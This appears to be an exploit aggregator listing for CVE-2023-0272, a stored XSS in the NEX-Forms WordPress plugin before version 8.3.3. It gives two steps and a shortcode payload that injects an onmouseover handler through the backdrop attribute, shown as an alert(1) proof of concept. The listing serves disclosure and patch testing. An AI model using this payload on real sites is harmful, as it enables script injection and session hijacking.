Exploit for NEX-Forms < 8.3.3 - Contributor+ Stored XSS CVE-2023-0272

Name: Exploit for NEX-Forms < 8.3.3 - Contributor+ Stored XSS CVE-2023-0272
Rating: 5 (75 reviews)

2023-02-28 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:047B50C0-0EB3-4371-9E5D-3778FDAFC66B
1. Add a form
2. Insert the following payload in a page/post: [NEXForms id='1' open_trigger='popup' backdrop='" style="height:100%;display:block!important;" onmouseover="alert(1)"']